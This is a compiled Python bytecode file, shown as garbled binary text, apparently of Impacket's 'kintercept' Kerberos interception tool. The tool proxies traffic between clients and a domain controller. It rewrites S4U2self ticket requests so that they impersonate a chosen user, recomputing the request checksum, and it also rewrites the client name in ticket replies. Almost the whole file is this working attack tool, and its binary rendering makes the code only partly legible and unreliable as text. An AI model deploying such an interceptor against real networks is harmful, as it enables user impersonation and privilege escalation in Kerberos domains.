o
    j'                     @   s  d dl Z d dlZd dlZd dlZd dlmZ d dlmZmZ d dl	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZmZmZmZ d d	lmZ d d
lmZ dZdZdZdZdd Zdd ZG dd dej Z!dd Z"G dd dZ#G dd dej Z$dd Z%e&dkre'ej( e% Z)e*e)j+e)j, e#  Z-Z.e)d re)d /dZ0e#e0d  e0d Z-e)d  re)d  /dZ1e#e1d  e1d Z.e$e)d! e)d" fe)d# e)d$ fe-e.Z2e3  dS dS )%    N)crc32)decoderencoder)noValue)version)	constants)	Cksumtype)TGS_REQTGS_REPseq_setPA_FOR_USER_ENC)	Principal)loggeri>  i }  
   c           
      C   sp  zt j| t dd }W n
   td Y dS d  }}|d D ]}|d tjjjkr-|}q|d tjjjkr8|}q|r=|sCtd dS t	|d< ||d d< zt j|d t
 dd }W n
   td	 Y dS td
t}||t|d  d 7 }t|d d@ }td
|}t|td}	t|d|	j t	|d< tj|d d< ||d d< t||d< ||d d< tt|S )Nasn1Specr   zRecord is not a TGS-REQ padatazpadata-typezTGS request is not S4Uzpadata-valuezFailed to decode PA_FOR_USER!z<I	userRealmKerberosl    typeuserNamecksum	cksumtypechecksum   )r   decoder	   printr   PreAuthenticationDataTypes
PA_TGS_REQvaluePA_FOR_USERr   r   structpackTYPEstrr   r   r   components_to_asn1r   CRC32r   encodebytes)
dataimpostortgs
pa_tgs_reqpa_for_userpafor_user_objS4UByteArraycs
clientName r5   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/kintercept.pyprocess_s4u2else_req1   sD   r7   c                 C   sV   zt j| t dd }W n
   td Y dS t|td}t|d|j tt	
|S )Nr   r   zRecord is not a TGS-REPr   r   cname)r   r   r
   r   r   r%   r   r'   r*   r   r)   )r+   
reply_userr-   r8   r5   r5   r6   mod_tgs_rep_user_   s   r:   c                   @   sn   e Zd ZdddZdd Zdd Zdd	 Zd
d Zdd Zdd Z	dd Z
dd Zdd Zdd Zdd ZdS )InterceptConnNc                 C   s,   t j| | d | _t | _d| _d| _d S NF)asyncore
dispatcher__init__peer	bytearraybuffereof_receivedeof_sentselfconnr5   r5   r6   r?   m   s
   
zInterceptConn.__init__c              
   C   sp   |sdS z| j |}|s|   W dS |W S  t jy7 } z|jd tjv r2|   W Y d }~dS  d }~ww )Nr   r   )socketrecv
handle_eoferrorargsr=   _DISCONNECTEDhandle_close)rF   nr+   whyr5   r5   r6   rI   v   s   zInterceptConn.recvc                 C   s   | j j| d S N)r@   rB   extend)rF   r+   r5   r5   r6   forward_data   s   zInterceptConn.forward_datac                 C   s   t | jdkS )Nr   )lenrB   rF   r5   r5   r6   buffer_empty   s   zInterceptConn.buffer_emptyc                 C   s    t tt t| jj }tt|S rQ   )MAX_BUFF_SIZEminrT   r@   rB   MAX_READ_SIZE)rF   spacer5   r5   r6   max_read_size   s   
zInterceptConn.max_read_sizec                 C   s   | j sdS | j o|  dkS )NTr   )	connectedrC   r[   rU   r5   r5   r6   readable   s   zInterceptConn.readablec                 C   sH   |  |  }|r"tt|  d tt| d  | | d S d S )Nz: recieved  bytes)rI   r[   r   r&   filenorT   rS   )rF   	data_readr5   r5   r6   handle_read   s
   $zInterceptConn.handle_readc                 C   s   t t|  d  d| _d S )Nz: received eofT)r   r&   r_   rC   rU   r5   r5   r6   rJ      s   
zInterceptConn.handle_eofc                 C   s   | j rdS |  o| jjS r<   )rD   rV   r@   rC   rU   r5   r5   r6   need_to_send_eof   s   zInterceptConn.need_to_send_eofc                 C   s   | j sdS |   p|  S )NT)r\   rV   rb   rU   r5   r5   r6   writable   s   zInterceptConn.writablec                 C   s   |   s"| | j}tt|  d t| d  |r"| jd |= |  rC| tj	 d| _
tt|  d  | jj
rE|   d S d S d S )Nz: sent r^   Tz
: sent eof)rV   sendrB   r   r&   r_   rb   shutdownrH   SHUT_WRrD   r@   rN   )rF   sentr5   r5   r6   handle_write   s    zInterceptConn.handle_writec                 C   s@   t dt|   d t| j  d  | j  |   d S )NzClosing pair: [,])r   r&   r_   r@   closerU   r5   r5   r6   rN      s   *
zInterceptConn.handle_closerQ   )__name__
__module____qualname__r?   rI   rS   rV   r[   r]   ra   rJ   rb   rc   rh   rN   r5   r5   r5   r6   r;   l   s    
	r;   c                    s   G  fdddt }|S )Nc                       s$   e Zd ZdddZ fddZdS )z+InterceptKRB5Tcp.<locals>._InterceptKRB5TcpNc                 S   s   t | | t | _d S rQ   )r;   r?   rA   proto_bufferrE   r5   r5   r6   r?      s   z4InterceptKRB5Tcp.<locals>._InterceptKRB5Tcp.__init__c                    s  | j | t| j rt| j dk rd S dtt| j d d }td|d }tdt|  t| j d| k r=d S t	| j dd|   }|s[t
| | j d d|   ntdt|}t
| dt||  | j d d| = t| j sd S d S )N   r   z<Lr   zlen of record: )ro   rR   rT   joinreversedr&   r#   unpackr   r*   r;   rS   r$   )rF   r+   headerrec_lenmsgargprocess_record_funcr5   r6   rS      s    
z8InterceptKRB5Tcp.<locals>._InterceptKRB5Tcp.forward_datarQ   )rl   rm   rn   r?   rS   r5   rw   r5   r6   _InterceptKRB5Tcp   s    
rz   )r;   )ry   rx   rz   r5   rw   r6   InterceptKRB5Tcp   s   r{   c                   @   s   e Zd ZdddZdd ZdS )InterceptConnFactoryNc                 C   s   || _ || _d S rQ   )handlerrx   )rF   r}   rx   r5   r5   r6   r?      s   
zInterceptConnFactory.__init__c                 C   sB   | j stS | j  dkrtt| jS | j  dkrtt| jS d S )Ns4u2elseztgs-rep-user)r}   r;   lowerr{   r7   rx   r:   rU   r5   r5   r6   produce   s   zInterceptConnFactory.produce)NN)rl   rm   rn   r?   r   r5   r5   r5   r6   r|      s    
r|   c                   @   s$   e Zd Zdd Zdd Zdd ZdS )InterceptServerc                 C   sN   t j|  || _| tjtj |   | 	| | 
t || _|| _d S rQ   )r=   r>   r?   targetcreate_socketrH   AF_INETSOCK_STREAMset_reuse_addrbindlistenLISTEN_QUEUE	downconnsupconns)rF   addrr   icf1icf2r5   r5   r6   r?      s   


zInterceptServer.__init__c                 C   s"   | j  |}| j  }||fS rQ   )r   r   r   )rF   rG   iconn1iconn2r5   r5   r6   intercept_conns   s   zInterceptServer.intercept_connsc                 C   s   |   \}}| |\}}||_||_z%|tjtj || j t	dt
|   t	dt
|   W d S    t	t
| d  |  Y d S )Nzaccepted downconn fd: zestablished upconn fd: z: failed to connect to target)acceptr   r@   r   rH   r   r   connectr   r   r&   r_   rN   )rF   rG   r   
downstreamupstreamr5   r5   r6   handle_accept   s   zInterceptServer.handle_acceptN)rl   rm   rn   r?   r   r   r5   r5   r5   r6   r      s    
r   c                  C   s   t jdd} | jddd | jddtdd	 | jd
dtdd	 | jdddd | jddddd | jddddd | jdddd | jdddd t|  S )NzIntercept TCP streams)descriptionserverzTarget server address)helpz--server-portX   zTarget server port)defaultr   r   z--listen-portzPort to listen onz--listen-addrr   zAddress to listen on)r   r   z--request-handlerzHANDLER:ARGzExample: s4u2else:user)r   metavarr   z--reply-handlerzExample: tgs-rep-user:userz-ts
store_truez&Adds timestamp to every logging output)actionr   z-debugzTurn DEBUG output ON)argparseArgumentParseradd_argumentintvars
parse_args)parserr5   r5   r6   r     s   r   __main__request_handler:r   reply_handlerlisten_addrlisten_portr   server_port)4r#   rH   r   r=   binasciir   pyasn1.codec.derr   r   pyasn1.type.univr   impacketr   impacket.krb5r   impacket.krb5.cryptor   impacket.krb5.asn1r	   r
   r   r   impacket.krb5.typesr   impacket.examplesr   rY   rW   r   r%   r7   r:   r>   r;   r{   r|   r   r   rl   r   BANNERrL   inittsdebugreq_factoryrep_factorysplitreq_argsrep_argsr   loopr5   r5   r5   r6   <module>   sL    .Q

